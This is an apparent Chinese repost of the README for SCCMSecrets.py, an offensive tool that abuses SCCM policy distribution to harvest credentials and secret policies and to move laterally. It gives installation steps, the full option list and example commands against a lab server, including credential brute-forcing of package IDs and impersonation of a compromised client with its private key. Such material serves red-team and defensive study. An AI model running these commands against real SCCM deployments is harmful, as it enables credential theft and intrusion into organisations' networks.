SCCMSecrets.py 旨在利用SCCM策略分发进行凭据收集、初始访问和横向移动。

admin 2024年8月16日15:15:25评论6 views字数 3477阅读11分35秒阅读模式

SCCMSecrets.py 旨在利用SCCM策略分发进行凭据收集、初始访问和横向移动。

SCCMSecrets

SCCMSecrets.py 是一种 SCCM 策略利用工具。它超越了 NAA 凭据提取,旨在提供一种有关 SCCM 策略利用的全面方法。该工具可以从各种权限级别执行,并将尝试发现与策略分发相关的潜在错误配置。除了分发点上托管的包脚本外,它还将转储遇到的所有秘密策略的内容以及集合变量。最后,它可以在整个入侵过程中使用,方法是将其配置为模拟合法的 SCCM 客户端,以便跨设备集合进行切换。

有关该工具及其用法的更多详细信息,请参阅相关文章:https://www.synacktiv.com/publications/sccmsecretspy-exploiting-sccm-policies-distribution-for-credentials-harvesting-initial

安装

您可以通过克隆存储库并安装依赖项来安装 SCCMSecrets.py。

$ git clone https://github.com/synacktiv/SCCMSecrets$ cd SCCMSecrets$ python3 -m venv .venv && source .venv/bin/activate$ python3 -m pip install -r requirements.txt

用法

$ python3 SCCMSecrets.py --help Usage: SCCMSecrets.py [OPTIONS]                                                                                                                                                                                   ╭─ Options ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮│ *  --distribution-point         TEXT     The target distribution point [default: None] [required]                                                                                                               ││    --client-name                TEXT     The name of the client that will be created in SCCM. An FQDN is expected (e.g. fake.corp.com) [default: None]                                                          ││    --management-point           TEXT     The client's management point. Only necessary if the management point is not on the same machine as the distribution point. [default: None]                            ││    --bruteforce-range           INTEGER  The number of package ID to bruteforce when performing anonymous policies scripts dump. Between 0 (00000) and 1048575 (FFFFF) [default: 4095]                          ││    --extensions                 TEXT     Comma-separated list of extension that will determine which files will be downloaded when retrieving packages scripts [default: .ps1, .bat, .xml, .txt, .pfx]          ││    --username                   TEXT     The username for a domain account (can be a user account, or - preferably - a machine acount) [default: None]                                                          ││    --password                   TEXT     The password for a domain account (can be a user account, or - preferably - a machine account) [default: None]                                                         ││    --registration-sleep         INTEGER  The amount of time, in seconds, that should be waited after registrating a new device. A few minutes is recommended so that the new device can be added to device      ││                                          collections (3 minutes by default, may need to be increased)                                                                                                           ││                                          [default: 180]                                                                                                                                                         ││    --use-existing-device        TEXT     This option can be used to re-run SCCMSecrets.py using a previously registered device; or to impersonate a legitimate SCCM client. In both cases, it expects the path ││                                          of a folder containing at least a guid.txt file (the SCCM device GUID) and the key.pem file (the client's private key).                                                         ││                                          [default: None]                                                                                                                                                        ││    --verbose                             Enable verbose output                                                                                                                                                  ││    --help                                Show this message and exit.                                                                                                                                            │╰─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯

示例

以下是一些示例命令。

运行 SCCMSecrets.py 而不提供凭据(尝试利用自动设备批准来检索秘密策略,尝试利用分发点匿名访问来转储外部资源)。
$ python3 SCCMSecrets.py --distribution-point 'mecm.sccm.lab/' --client-name test.sccm.lab
使用域用户凭据运行 SCCMSecrets.py(尝试利用自动设备批准来检索机密策略,使用提供的凭据或匿名访问来转储外部资源)。指定较短的暴力破解范围和特定文件扩展名以将其列入白名单,以进行外部资源转储。
$ python3 SCCMSecrets.py --distribution-point 'mecm.sccm.lab/' --client-name test2.sccm.lab --bruteforce-range 64 --extensions '.txt,.xml,.ps1,.pfx,.ini,.conf' --username 'franck' --password 'rockthee' --verbose
使用域机器帐户凭据运行 SCCMSecrets.py(注册一个新的已批准的设备,允许转储机密策略,使用提供的凭据或匿名访问进行外部资源转储)。指定注册后等待的更长时间,以确保在请求策略之前将注册的设备成功添加到集合中。
$ python3 SCCMSecrets.py --distribution-point 'mecm.sccm.lab/' --client-name test3.sccm.lab --verbose --registration-sleep 300 --username 'azule$' --password 'Password123!'
运行 SCCMSecrets.py 以模拟被入侵的合法 SCCM 客户端。该CLIENT_DEVICE文件夹包含一个 guid.txt 文件(被入侵客户端的 GUID)和一个 key.pem 文件(被入侵客户端的私钥)。
$ python3 SCCMSecrets.py --distribution-point 'mecm.sccm.lab/' --client-name test4.sccm.lab --verbose --use-existing-device CLIENT_DEVICE/
https://github.com/synacktiv/SCCMSecrets

原文始发于微信公众号(Ots安全):SCCMSecrets.py 旨在利用SCCM策略分发进行凭据收集、初始访问和横向移动。

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年8月16日15:15:25
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   SCCMSecrets.py 旨在利用SCCM策略分发进行凭据收集、初始访问和横向移动。https://cn-sec.com/archives/3072325.html

发表评论

匿名网友 填写信息